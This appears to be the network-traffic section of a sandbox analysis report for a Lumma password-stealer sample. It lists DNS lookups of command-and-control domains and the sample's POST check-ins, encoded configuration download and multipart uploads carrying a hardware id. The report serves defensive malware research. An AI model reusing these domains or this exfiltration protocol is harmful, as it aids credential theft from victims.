Oct 30, 2024 20:19:12.011574984 CET	443	49711	104.21.33.140	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 20:18:59.652915955 CET	63584	53	192.168.2.5	1.1.1.1
Oct 30, 2024 20:18:59.663239956 CET	53	63584	1.1.1.1	192.168.2.5
Oct 30, 2024 20:18:59.667743921 CET	56982	53	192.168.2.5	1.1.1.1
Oct 30, 2024 20:18:59.677783012 CET	53	56982	1.1.1.1	192.168.2.5
Oct 30, 2024 20:18:59.680936098 CET	64649	53	192.168.2.5	1.1.1.1
Oct 30, 2024 20:18:59.690809011 CET	53	64649	1.1.1.1	192.168.2.5
Oct 30, 2024 20:18:59.693223953 CET	57318	53	192.168.2.5	1.1.1.1
Oct 30, 2024 20:18:59.707374096 CET	53	57318	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 30, 2024 20:18:59.652915955 CET	192.168.2.5	1.1.1.1	0x4e6c	Standard query (0)	ponintnykqwm.shop	A (IP address)	IN (0x0001)	false
Oct 30, 2024 20:18:59.667743921 CET	192.168.2.5	1.1.1.1	0xbbe3	Standard query (0)	seallysl.site	A (IP address)	IN (0x0001)	false
Oct 30, 2024 20:18:59.680936098 CET	192.168.2.5	1.1.1.1	0xd747	Standard query (0)	opposezmny.site	A (IP address)	IN (0x0001)	false
Oct 30, 2024 20:18:59.693223953 CET	192.168.2.5	1.1.1.1	0xf9c2	Standard query (0)	goalyfeastz.site	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 30, 2024 20:18:59.663239956 CET	1.1.1.1	192.168.2.5	0x4e6c	Name error (3)	ponintnykqwm.shop	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 20:18:59.677783012 CET	1.1.1.1	192.168.2.5	0xbbe3	Name error (3)	seallysl.site	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 20:18:59.690809011 CET	1.1.1.1	192.168.2.5	0xd747	Name error (3)	opposezmny.site	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 20:18:59.707374096 CET	1.1.1.1	192.168.2.5	0xf9c2	No error (0)	goalyfeastz.site		104.21.33.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 20:18:59.707374096 CET	1.1.1.1	192.168.2.5	0xf9c2	No error (0)	goalyfeastz.site		172.67.145.203	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

goalyfeastz.site

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.21.33.140	443	4524	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:19:00 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: goalyfeastz.site
2024-10-30 19:19:00 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-30 19:19:00 UTC	1008	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:19:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gte6cu7gqd2dq1acmjm9697omk; expires=Sun, 23-Feb-2025 13:05:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sBICFVqv0vfQDFv70wmtrEsJN0d730JKi%2Fn1j2hwjM0nxSbj8T9u4pAGf6O1%2FNrOUt2k%2BxiaVwy%2FRTlHCrpA3hZUieobIbu5W9uJauiQaqviMF9vGt4QJ4FPk7x1dlw975J1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dadc1242d97450f-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=17773&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=907&delivery_rate=163035&cwnd=32&unsent_bytes=0&cid=68c19e7d7aefc152&ts=484&x=0"
2024-10-30 19:19:00 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-30 19:19:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	104.21.33.140	443	4524	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:19:01 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 42 Host: goalyfeastz.site
2024-10-30 19:19:01 UTC	42	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 67 33 39 32 73 4d 2d 2d 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=g392sM--&j=
2024-10-30 19:19:01 UTC	1013	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:19:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ic2a5rkudm3kalqp7kjcfrcaoa; expires=Sun, 23-Feb-2025 13:05:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XvLIHaoiOrQXUivzyXrRzRTCv9GI08jbMUiW6EnLCRlsaY1D%2BM4enR6DJcC%2B6NOPHRRY3pSBFbu%2F%2FB5%2B%2BcZALAtohUc0TrEQDSEfjKq4PT8PZgcwwrKGxNkMQlFSplSl1Yyo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dadc12b0c242e5f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1401&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2840&recv_bytes=942&delivery_rate=1876863&cwnd=247&unsent_bytes=0&cid=40c8e84a478b2327&ts=465&x=0"
2024-10-30 19:19:01 UTC	356	IN	Data Raw: 34 34 36 63 0d 0a 5a 2b 63 4e 4a 74 4a 42 78 57 41 52 71 35 2b 41 32 68 65 4b 6b 6b 4b 74 55 39 47 5a 73 43 49 66 53 4b 74 48 70 4f 70 56 58 7a 41 63 78 58 73 45 36 48 58 70 51 6d 4c 4f 76 62 71 75 5a 66 2f 33 62 6f 38 79 74 62 75 4b 52 48 34 6b 32 43 4b 49 79 43 4d 79 45 6c 32 42 62 45 71 68 4a 4f 6c 43 64 4e 4f 39 75 6f 46 73 71 50 63 73 6a 32 6e 7a 2f 4e 70 41 66 69 54 4a 4a 73 2b 46 4a 54 4e 54 44 34 74 71 54 72 63 69 6f 51 46 39 78 76 72 6c 76 33 62 67 2f 43 76 41 4f 37 79 37 6e 41 42 36 4d 6f 6c 39 68 71 63 77 4b 31 45 71 68 6e 35 4e 38 44 7a 70 47 7a 50 4f 38 61 4c 67 4e 65 76 33 49 4d 45 31 74 66 4c 59 53 6e 63 73 79 43 50 4f 6d 6a 77 35 57 41 2b 46 61 55 2b 39 4b 37 55 4d 64 38 48 78 34 37 56 32 71 4c 35 67 79 43 6e 7a 6f 35 49 54 54 79 6e 59 4e Data Ascii: 446cZ+cNJtJBxWARq5+A2heKkkKtU9GZsCIfSKtHpOpVXzAcxXsE6HXpQmLOvbquZf/3bo8ytbuKRH4k2CKIyCMyEl2BbEqhJOlCdNO9uoFsqPcsj2nz/NpAfiTJJs+FJTNTD4tqTrcioQF9xvrlv3bg/CvAO7y7nAB6Mol9hqcwK1Eqhn5N8DzpGzPO8aLgNev3IME1tfLYSncsyCPOmjw5WA+FaU+9K7UMd8Hx47V2qL5gyCnzo5ITTynYN
2024-10-30 19:19:01 UTC	1369	IN	Data Raw: 63 51 65 38 4c 32 35 36 70 2b 34 66 30 74 7a 7a 79 35 39 4e 46 41 65 69 44 44 4b 73 79 4d 4f 6a 42 55 42 59 55 76 43 76 41 6b 76 30 49 72 69 64 37 6e 71 48 4c 6b 35 6d 4c 31 63 61 79 31 79 77 42 36 4a 6f 6c 39 68 6f 41 79 50 6c 45 4f 69 6d 78 4d 75 7a 47 6e 45 48 58 45 2b 50 43 2b 63 4f 62 36 49 39 30 37 76 66 33 52 53 58 59 6a 7a 43 4c 43 79 48 6c 39 56 52 33 46 4e 77 53 52 4c 71 77 4f 65 64 37 39 6f 71 63 37 38 62 41 6e 77 33 48 72 75 39 5a 42 65 53 76 4e 4b 38 69 4d 4f 7a 74 63 43 49 70 70 54 72 41 6b 72 51 70 37 79 50 44 70 74 33 58 74 2f 53 54 4a 50 62 4c 2b 6b 67 34 39 4c 64 46 6c 6e 73 67 5a 4f 6c 45 58 78 31 70 48 76 69 32 67 46 44 50 57 73 2f 76 34 63 75 53 77 65 49 38 2f 74 76 54 41 51 57 38 76 78 7a 66 4b 6a 54 45 77 55 51 75 46 61 6b 4f 39 4c Data Ascii: cQe8L256p+4f0tzzy59NFAeiDDKsyMOjBUBYUvCvAkv0Irid7nqHLk5mL1cay1ywB6Jol9hoAyPlEOimxMuzGnEHXE+PC+cOb6I907vf3RSXYjzCLCyHl9VR3FNwSRLqwOed79oqc78bAnw3Hru9ZBeSvNK8iMOztcCIppTrAkrQp7yPDpt3Xt/STJPbL+kg49LdFlnsgZOlEXx1pHvi2gFDPWs/v4cuSweI8/tvTAQW8vxzfKjTEwUQuFakO9L
2024-10-30 19:19:01 UTC	1369	IN	Data Raw: 57 73 2f 76 34 63 75 53 77 65 49 38 39 75 76 76 5a 53 6e 6b 71 7a 69 6a 44 69 7a 41 2b 58 77 4b 50 59 55 4f 30 4c 36 34 50 64 63 6e 36 35 72 31 6e 37 66 6b 73 77 33 48 39 75 39 56 59 50 58 4b 4a 43 73 47 65 4e 42 4a 52 46 49 77 76 57 2f 34 36 35 77 56 2f 69 61 57 69 76 33 44 67 2b 79 62 48 4d 61 48 2b 33 45 74 38 49 4d 38 6b 79 34 51 78 50 56 4d 46 67 32 4e 45 74 79 53 31 45 48 62 50 37 2b 6a 34 4f 36 6a 33 4f 49 39 70 38 38 33 43 56 32 77 38 69 78 44 46 68 6a 6b 36 52 45 57 61 49 56 33 77 4a 4b 74 43 4b 34 6e 32 34 72 52 79 34 50 59 6b 78 7a 36 38 38 73 42 42 63 53 54 62 49 73 61 42 4f 54 4a 65 44 49 68 6f 53 62 73 70 71 67 5a 30 79 4c 32 73 2b 48 4c 77 73 48 69 50 42 36 50 32 33 6d 35 32 4a 73 42 6c 32 63 59 75 66 56 55 4a 78 54 63 45 74 43 2b 76 43 48 Data Ascii: Ws/v4cuSweI89uvvZSnkqzijDizA+XwKPYUO0L64Pdcn65r1n7fksw3H9u9VYPXKJCsGeNBJRFIwvW/465wV/iaWiv3Dg+ybHMaH+3Et8IM8ky4QxPVMFg2NEtyS1EHbP7+j4O6j3OI9p883CV2w8ixDFhjk6REWaIV3wJKtCK4n24rRy4PYkxz688sBBcSTbIsaBOTJeDIhoSbspqgZ0yL2s+HLwsHiPB6P23m52JsBl2cYufVUJxTcEtC+vCH
2024-10-30 19:19:01 UTC	1369	IN	Data Raw: 76 48 4c 73 39 69 2b 50 66 2f 50 38 79 67 41 6c 61 75 59 43 38 38 6f 57 42 78 49 61 79 33 59 45 74 79 2f 6e 57 6a 50 46 2f 75 36 77 65 75 37 35 4c 4d 55 34 75 50 66 5a 52 48 45 6a 7a 43 50 48 6a 54 49 38 56 67 6d 50 61 55 65 7a 4c 4b 67 4e 65 34 6d 7a 6f 72 39 74 71 4b 68 67 36 69 61 34 39 64 51 41 59 6d 54 51 5a 63 47 45 64 32 55 53 43 59 78 70 51 72 55 76 70 67 52 37 7a 50 58 6d 75 58 50 75 38 79 2f 4c 4e 4c 4c 30 31 6b 78 7a 49 4d 67 6b 79 6f 4d 34 4e 6c 64 46 79 79 39 44 71 47 50 2f 51 6b 4c 4b 36 2f 57 6f 65 61 6a 76 62 74 5a 78 74 50 65 53 47 44 30 72 32 79 2f 4d 68 6a 49 79 56 77 61 4b 61 45 6d 32 4c 36 30 4c 65 38 2f 79 36 36 70 32 35 50 34 6e 77 54 32 39 39 74 68 44 63 47 71 48 5a 63 47 51 64 32 55 53 4b 59 4a 69 61 72 73 76 6f 45 4a 73 68 2b 53 Data Ascii: vHLs9i+Pf/P8ygAlauYC88oWBxIay3YEty/nWjPF/u6weu75LMU4uPfZRHEjzCPHjTI8VgmPaUezLKgNe4mzor9tqKhg6ia49dQAYmTQZcGEd2USCYxpQrUvpgR7zPXmuXPu8y/LNLL01kxzIMgkyoM4NldFyy9DqGP/QkLK6/WoeajvbtZxtPeSGD0r2y/MhjIyVwaKaEm2L60Le8/y66p25P4nwT299thDcGqHZcGQd2USKYJiarsvoEJsh+S
2024-10-30 19:19:01 UTC	1369	IN	Data Raw: 2b 68 67 6c 33 47 46 2f 4d 4a 51 66 6d 6a 34 4d 38 57 65 50 44 42 65 52 5a 6f 68 58 66 41 6b 71 30 49 72 69 66 76 74 73 58 62 6e 38 53 6e 44 50 4c 62 79 31 30 46 37 4c 73 4d 76 78 6f 34 78 50 46 63 50 68 6d 35 4f 75 53 53 76 42 58 44 62 76 61 7a 34 63 76 43 77 65 49 38 59 74 4f 6e 63 55 44 30 31 68 7a 79 47 6a 7a 74 39 43 6b 57 42 5a 55 75 30 4a 4b 73 45 64 73 2f 77 34 37 64 30 36 50 38 6b 78 44 69 31 2b 74 39 46 63 43 37 62 4c 38 32 48 4f 7a 52 65 43 4d 55 68 42 4c 63 37 35 31 6f 7a 2b 50 44 73 74 6e 4c 2b 73 44 2b 42 4b 50 50 38 33 67 41 6c 61 73 67 70 79 59 73 34 50 6c 45 45 6a 33 31 57 76 43 71 76 42 33 2f 43 38 2b 53 71 63 2b 66 35 49 38 77 34 74 50 50 65 53 6e 34 74 69 57 75 47 6a 79 39 39 43 6b 57 6d 65 46 53 39 59 37 68 4d 61 6f 6e 36 37 76 67 74 Data Ascii: +hgl3GF/MJQfmj4M8WePDBeRZohXfAkq0IrifvtsXbn8SnDPLby10F7LsMvxo4xPFcPhm5OuSSvBXDbvaz4cvCweI8YtOncUD01hzyGjzt9CkWBZUu0JKsEds/w47d06P8kxDi1+t9FcC7bL82HOzReCMUhBLc751oz+PDstnL+sD+BKPP83gAlasgpyYs4PlEEj31WvCqvB3/C8+Sqc+f5I8w4tPPeSn4tiWuGjy99CkWmeFS9Y7hMaon67vgt
2024-10-30 19:19:01 UTC	1369	IN	Data Raw: 6f 33 76 50 54 62 53 58 6b 69 79 69 58 43 6a 44 41 34 55 51 6d 4f 61 45 65 2f 4a 36 34 4d 65 73 61 39 72 50 68 79 38 4c 42 34 6a 78 43 6f 2b 4e 35 4e 50 54 57 48 50 49 61 50 4f 33 30 4b 52 59 6c 68 51 62 41 70 6f 51 5a 32 7a 2f 66 6e 75 48 37 72 2f 79 54 4a 4e 62 7a 37 32 55 6c 38 4c 4d 77 76 7a 59 34 36 50 6c 51 44 78 53 45 45 74 7a 76 6e 57 6a 50 70 35 75 2b 30 63 71 6a 76 62 74 5a 78 74 50 65 53 47 44 30 68 78 53 48 42 69 44 6f 2b 57 67 43 42 5a 55 47 77 4b 37 55 4b 63 38 37 76 38 4c 68 38 37 66 77 6a 7a 7a 57 31 38 74 52 44 65 57 71 48 5a 63 47 51 64 32 55 53 4b 49 6c 6f 62 62 63 34 35 78 30 39 30 4c 33 6c 74 44 57 77 73 43 48 45 4f 37 7a 32 30 55 5a 2b 49 63 77 76 78 34 38 2f 4d 45 41 47 69 6d 42 41 73 43 79 68 42 48 4c 47 2b 2b 57 78 64 4f 44 33 59 Data Ascii: o3vPTbSXkiyiXCjDA4UQmOaEe/J64Mesa9rPhy8LB4jxCo+N5NPTWHPIaPO30KRYlhQbApoQZ2z/fnuH7r/yTJNbz72Ul8LMwvzY46PlQDxSEEtzvnWjPp5u+0cqjvbtZxtPeSGD0hxSHBiDo+WgCBZUGwK7UKc87v8Lh87fwjzzW18tRDeWqHZcGQd2USKIlobbc45x090L3ltDWwsCHEO7z20UZ+Icwvx48/MEAGimBAsCyhBHLG++WxdOD3Y
2024-10-30 19:19:01 UTC	1369	IN	Data Raw: 63 78 45 70 36 4f 73 34 79 79 63 68 35 66 56 31 46 33 56 59 45 75 53 53 38 45 32 58 45 37 65 58 34 53 71 61 77 4f 49 39 70 38 38 37 52 54 6e 4d 74 33 7a 53 4c 72 79 45 33 56 52 57 43 65 45 76 77 62 65 63 45 4d 35 47 75 72 50 68 78 2b 62 42 34 6e 32 50 6f 72 6f 45 58 4c 58 6a 57 61 39 2f 49 49 58 30 4b 56 38 73 76 56 76 42 37 35 30 56 77 32 2b 2f 6b 75 32 50 72 74 78 37 78 46 71 6e 32 31 46 64 73 46 50 63 69 33 49 55 78 4b 6b 4e 4a 6b 47 78 4b 76 69 53 78 51 6a 32 4a 38 71 4c 67 54 4b 69 34 59 50 42 2f 38 2b 4f 53 47 44 30 66 79 69 76 49 6a 79 45 73 48 79 4b 66 59 6b 4b 6e 4d 75 64 4d 4d 38 2b 39 75 75 67 37 71 50 51 78 6a 32 6e 6a 71 59 6b 56 4c 6e 32 5a 64 39 6e 47 4c 6e 31 45 52 64 30 39 43 76 41 78 35 31 6f 7a 6a 76 37 77 71 6e 50 72 35 69 4f 49 44 34 Data Ascii: cxEp6Os4yych5fV1F3VYEuSS8E2XE7eX4SqawOI9p887RTnMt3zSLryE3VRWCeEvwbecEM5GurPhx+bB4n2PoroEXLXjWa9/IIX0KV8svVvB750Vw2+/ku2Prtx7xFqn21FdsFPci3IUxKkNJkGxKviSxQj2J8qLgTKi4YPB/8+OSGD0fyivIjyEsHyKfYkKnMudMM8+9uug7qPQxj2njqYkVLn2Zd9nGLn1ERd09CvAx51ozjv7wqnPr5iOID4
2024-10-30 19:19:01 UTC	1369	IN	Data Raw: 53 43 6e 48 4b 38 47 65 4a 6e 42 31 43 34 4a 75 55 71 41 30 71 45 49 39 69 66 75 69 34 43 65 6d 73 43 54 65 63 65 75 72 67 42 73 6f 65 5a 35 31 6c 4a 64 35 4a 42 49 54 78 54 63 57 2f 6d 4f 31 51 69 75 4a 75 75 47 71 5a 2b 37 7a 4e 73 78 32 6a 63 58 31 54 6e 6f 72 33 7a 58 52 68 33 67 54 5a 43 53 37 55 56 47 7a 4c 61 6b 46 5a 64 69 39 72 50 68 36 71 4b 67 5a 6a 33 6e 7a 78 4a 77 41 5a 57 71 52 5a 66 4f 4c 4f 54 4e 56 45 35 51 69 59 37 34 6b 70 68 52 6a 33 76 4b 74 6c 6b 50 4a 73 47 36 50 4e 2f 4f 6a 67 41 34 39 4c 74 68 6c 6e 74 68 6c 5a 67 64 57 30 6a 38 57 72 32 32 2b 51 6d 57 4a 70 62 44 32 4e 66 71 77 65 49 39 32 73 4f 6e 41 52 6e 34 38 79 6d 4c 34 74 68 41 7a 56 51 53 54 66 30 6d 38 41 71 51 54 65 66 66 44 39 37 74 37 35 76 63 32 33 6e 48 39 75 39 30 Data Ascii: SCnHK8GeJnB1C4JuUqA0qEI9ifui4CemsCTeceurgBsoeZ51lJd5JBITxTcW/mO1QiuJuuGqZ+7zNsx2jcX1Tnor3zXRh3gTZCS7UVGzLakFZdi9rPh6qKgZj3nzxJwAZWqRZfOLOTNVE5QiY74kphRj3vKtlkPJsG6PN/OjgA49LthlnthlZgdW0j8Wr22+QmWJpbD2NfqweI92sOnARn48ymL4thAzVQSTf0m8AqQTeffD97t75vc23nH9u90
2024-10-30 19:19:01 UTC	1369	IN	Data Raw: 7a 44 46 6d 44 41 44 62 43 69 58 61 46 53 7a 59 59 73 46 66 73 58 44 33 49 39 6b 37 2b 42 69 36 54 4b 6c 2b 4a 49 4f 50 54 4b 4a 66 59 61 6c 4a 54 70 43 42 73 64 44 51 37 30 76 35 78 30 39 30 4c 33 30 2b 43 32 37 76 6d 44 64 63 65 75 37 6c 55 4e 76 4f 4d 38 6d 30 49 74 77 41 32 77 6f 6c 32 68 55 73 32 47 57 44 33 66 66 36 4f 47 6f 63 74 62 4f 44 64 30 32 6f 2f 69 51 5a 55 64 6f 2b 44 50 46 69 44 6b 36 45 6b 76 46 64 77 54 6f 59 34 6f 51 64 4e 6e 2b 6f 4a 31 50 71 73 45 32 7a 44 47 39 2f 4a 4a 66 4d 7a 4f 4a 4d 34 62 51 5a 48 4d 53 46 38 55 33 42 50 63 74 71 67 4e 77 78 2f 37 77 71 6e 50 72 35 69 4f 49 44 34 33 55 32 55 46 74 4a 39 67 6f 77 70 34 4a 41 33 55 44 67 47 68 36 6a 68 53 32 42 57 4f 4c 32 2b 47 75 64 71 69 2b 59 4e 64 78 36 37 76 31 52 6e 67 74 Data Ascii: zDFmDADbCiXaFSzYYsFfsXD3I9k7+Bi6TKl+JIOPTKJfYalJTpCBsdDQ70v5x090L30+C27vmDdceu7lUNvOM8m0ItwA2wol2hUs2GWD3ff6OGoctbODd02o/iQZUdo+DPFiDk6EkvFdwToY4oQdNn+oJ1PqsE2zDG9/JJfMzOJM4bQZHMSF8U3BPctqgNwx/7wqnPr5iOID43U2UFtJ9gowp4JA3UDgGh6jhS2BWOL2+Gudqi+YNdx67v1Rngt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	104.21.33.140	443	4524	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:19:02 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12830 Host: goalyfeastz.site
2024-10-30 19:19:02 UTC	12830	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 32 38 43 46 35 30 43 36 42 38 45 46 31 38 36 39 34 30 37 42 33 33 31 41 41 38 34 41 45 34 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 67 33 39 32 73 4d 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"828CF50C6B8EF1869407B331AA84AE48--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"g392sM----b
2024-10-30 19:19:03 UTC	1008	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:19:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6m0v3o1bn9sben1n8rcqagm171; expires=Sun, 23-Feb-2025 13:05:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nLYZ2QKBzSVae64FRSPqV5WEmpArvN08k1ml4XCShMxxjpDP9Z6lVpvoU25vbhM343UbPrFJIffi4toFFWPsKxOLQy%2BiiaFKkSgspGZqY2n0avyJKhaAYzlP0%2BaL0p84QerK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dadc1333ce42d3b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1618&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2841&recv_bytes=13770&delivery_rate=1774509&cwnd=237&unsent_bytes=0&cid=773136ffd6b397b3&ts=490&x=0"
2024-10-30 19:19:03 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 19:19:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	104.21.33.140	443	4524	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:19:04 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15072 Host: goalyfeastz.site
2024-10-30 19:19:04 UTC	15072	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 32 38 43 46 35 30 43 36 42 38 45 46 31 38 36 39 34 30 37 42 33 33 31 41 41 38 34 41 45 34 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 67 33 39 32 73 4d 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"828CF50C6B8EF1869407B331AA84AE48--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"g392sM----b
2024-10-30 19:19:04 UTC	1019	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:19:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2sva6uaqfjf3moppikelopjlb2; expires=Sun, 23-Feb-2025 13:05:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vUY1O6u0zumwf9ZH2UWyiibQb0UO9i%2BTv5hnLIkWfMzsMK3PB%2B9BSAMyf5NlcO%2BwDr5DG1JXgrAmbq%2B1OuX6HrQ4a4TSzA%2Bq8NfQ2YWDVqrT%2BNCLnjAiqspnEQYy%2FL00BaqN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dadc13bfa072e55-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1591&sent=15&recv=19&lost=0&retrans=0&sent_bytes=2840&recv_bytes=16012&delivery_rate=1601769&cwnd=251&unsent_bytes=0&cid=9da165d5168c1054&ts=635&x=0"
2024-10-30 19:19:04 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 19:19:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

